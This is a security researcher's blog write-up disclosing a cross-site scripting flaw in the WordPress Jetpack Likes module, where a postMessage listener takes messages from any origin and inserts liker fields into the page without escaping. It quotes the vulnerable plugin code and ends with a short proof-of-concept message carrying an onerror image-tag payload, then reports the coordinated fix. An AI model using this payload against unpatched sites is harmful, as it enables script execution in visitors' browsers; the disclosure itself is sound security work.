Jetpack, how to supercharge your WP blog with a XSS Tuesday. June 21, 2016 - 11 mins Wordpress is the commonly used blog framework/platform, indeed, if a user needs to be ready in short times or just want to handle his own blog can setup a wordpress intance in few minutes.
Charging WP Wordpress itself provides a bunch of recommended plugins. The first one in the list is Jetpack (owned by Automattic ). Jetpack is an all-in-one solutions to boost traffic, performance and protection… or, at least, it should be.
The `Likes Module´ Jetpack, as said, has some useful modules. One of them is the likes module. This one shows Wordpress users that put a like on the post and let them collect and organize blog articles on their own wp.com account. If enabled, the plugin add a JS postMessage listener for a likesMessage event.
pm . bind ( 'likesMessage' , function ( e ) { JetpackLikesMessageListener ( e ); } );
The main point is that this handler accept messages from any origin domain. Let’s give a look at JetpackLikesMessageListener function.
function JetpackLikesMessageListener ( event ) {
if ( 'undefined' === typeof event . event ) {
return ;
}
if ( 'masterReady' === event . event ) {
jQuery ( document ). ready ( function () {
jetpackLikesMasterReady = true ;
var stylesData = {
event : 'injectStyles'
},
$sdTextColor = jQuery ( '.sd-text-color' ),
$sdLinkColor = jQuery ( '.sd-link-color' );
if ( jQuery ( 'iframe.admin-bar-likes-widget' ). length > 0 ) {
JetpackLikespostMessage ( { event : 'adminBarEnabled' }, window . frames [ 'likes-master' ] );
stylesData . adminBarStyles = {
background : jQuery ( '#wpadminbar .quicklinks li#wp-admin-bar-wpl-like > a' ). css ( 'background' ),
isRtl : ( 'rtl' === jQuery ( '#wpadminbar' ). css ( 'direction' ) )
};
}
if ( ! window . addEventListener ) {
jQuery ( '#wp-admin-bar-admin-bar-likes-widget' ). hide ();
}
stylesData . textStyles = {
color : $sdTextColor . css ( 'color' ),
fontFamily : $sdTextColor . css ( 'font-family' ),
fontSize : $sdTextColor . css ( 'font-size' ),
direction : $sdTextColor . css ( 'direction' ),
fontWeight : $sdTextColor . css ( 'font-weight' ),
fontStyle : $sdTextColor . css ( 'font-style' ),
textDecoration : $sdTextColor . css ( 'text-decoration' )
};
stylesData . linkStyles = {
color : $sdLinkColor . css ( 'color' ),
fontFamily : $sdLinkColor . css ( 'font-family' ),
fontSize : $sdLinkColor . css ( 'font-size' ),
textDecoration : $sdLinkColor . css ( 'text-decoration' ),
fontWeight : $sdLinkColor . css ( 'font-weight' ),
fontStyle : $sdLinkColor . css ( 'font-style' )
};
JetpackLikespostMessage ( stylesData , window . frames [ 'likes-master' ] );
JetpackLikesBatchHandler ();
jQuery ( document ). on ( 'inview' , 'div.jetpack-likes-widget-unloaded' , function () {
jetpackLikesWidgetQueue . push ( this . id );
});
});
}
if ( 'showLikeWidget' === event . event ) {
jQuery ( '#' + event . id + ' .post-likes-widget-placeholder' ). fadeOut ( 'fast' , function () {
jQuery ( '#' + event . id + ' .post-likes-widget' ). fadeIn ( 'fast' , function () {
JetpackLikespostMessage ( { event : 'likeWidgetDisplayed' , blog_id : event . blog_id , post_id : event . post_id , obj_id : event . obj_id }, window . frames [ 'likes-master' ] );
});
});
}
if ( 'clickReblogFlair' === event . event ) {
wpcom_reblog . toggle_reblog_box_flair ( event . obj_id );
}
if ( 'showOtherGravatars' === event . event ) {
var $container = jQuery ( '#likes-other-gravatars' ),
$list = $container . find ( 'ul' ),
offset , rowLength , height , scrollbarWidth ;
$container . hide ();
$list . html ( '' );
$container . find ( '.likes-text span' ). text ( event . total );
jQuery . each ( event . likers , function ( i , liker ) {
$list . append ( '<li class="' + liker . css_class + '"><a href="' + liker . profile_URL + '" class="wpl-liker" rel="nofollow" target="_parent"><img src="' + liker . avatar_URL + '" alt="' + liker . name + '" width="30" height="30" style="padding-right: 3px;" /></a></li>' );
} );
offset = jQuery ( '[name=\'' + event . parent + '\']' ). offset ();
$container . css ( 'left' , offset . left + event . position . left - 10 + 'px' );
$container . css ( 'top' , offset . top + event . position . top - 33 + 'px' );
rowLength = Math . floor ( event . width / 37 );
height = ( Math . ceil ( event . likers . length / rowLength ) * 37 ) + 13 ;
if ( height > 204 ) {
height = 204 ;
}
$container . css ( 'height' , height + 'px' );
$container . css ( 'width' , rowLength * 37 - 7 + 'px' );
$list . css ( 'width' , rowLength * 37 + 'px' );
$container . fadeIn ( 'slow' );
scrollbarWidth = $list [ 0 ]. offsetWidth - $list [ 0 ]. clientWidth ;
if ( scrollbarWidth > 0 ) {
$container . width ( $container . width () + scrollbarWidth );
$list . width ( $list . width () + scrollbarWidth );
}
}
}
What I immediately noticed is this code snippet
...
$list . html ( '' );
$container . find ( '.likes-text span' ). text ( event . total );
jQuery . each ( event . likers , function ( i , liker ) {
$list . append ( '<li class="' + liker . css_class + '"><a href="' + liker . profile_URL + '" class="wpl-liker" rel="nofollow" target="_parent"><img src="' + liker . avatar_URL + '" alt="' + liker . name + '" width="30" height="30" style="padding-right: 3px;" /></a></li>' );
} );
...
It seems that all liker properties are not sanitized or escaped before use. This allow to embed the most commonly used XSS payload ”><img src=x onerror=code> and trig some js code.
Engine On Ok, to reach the target we’ve to post a custom js object which is handled firstly from the common listener dispatcher and then from the JetpackLikesMessageListener .
_dispatch : function ( e ) {
//console.log("$.pm.dispatch", e, this);
try {
var msg = JSON . parse ( e . data );
} catch ( ex ) {
//console.warn("postmessage data invalid json: ", ex); //message wasn't meant for pm
return ;
}
if ( ! msg . type ) {
//console.warn("postmessage message type required"); //message wasn't meant for pm
return ;
}
var cbs = pm . data ( "callbacks.postmessage" ) || {}
, cb = cbs [ msg . type ];
if ( cb ) {
cb ( msg . data );
} else {
var l = pm . data ( "listeners.postmessage" ) || {};
var fns = l [ msg . type ] || [];
for ( var i = 0 , len = fns . length ; i < len ; i ++ ) {
var o = fns [ i ];
if ( o . origin && o . origin !== '*' && e . origin !== o . origin ) {
console . warn ( "postmessage message origin mismatch" , e . origin , o . origin );
if ( msg . errback ) {
// notify post message errback
var error = {
message : "postmessage origin mismatch" ,
origin : [ e . origin , o . origin ]
};
pm . send ({
target : e . source ,
data : error ,
type : msg . errback
});
}
continue ;
}
function sendReply ( data ) {
if ( msg . callback ) {
pm . send ({
target : e . source ,
data : data ,
type : msg . callback
});
}
}
try {
if ( o . callback ) {
o . fn ( msg . data , sendReply , e );
} else {
sendReply ( o . fn ( msg . data , e ));
}
} catch ( ex ) {
if ( msg . errback ) {
// notify post message errback
pm . send ({
target : e . source ,
data : ex ,
type : msg . errback
});
} else {
throw ex ;
}
}
}
;
}
}
So we’ve to post an object with type and data properties where the data one contains event property and the likers one. Our final code will looks like the following one.
// load the target page
...
target . postMessage (
JSON . stringify ({
type : 'likesMessage' ,
data : {
event : 'showOtherGravatars' ,
likers : [
{
css_class : '"><img src=x onerror=alert(0)>'
}
]
}
})
)
...
Great team === great results Once found, I informed the vendor through h1 that immediately triaged my report and pushed out a fix in a short time. The first patch has only an origin check so I suggested them to apply a check for profile_URL protocol too.
Luciano Corsalini another it sec guy with coding passion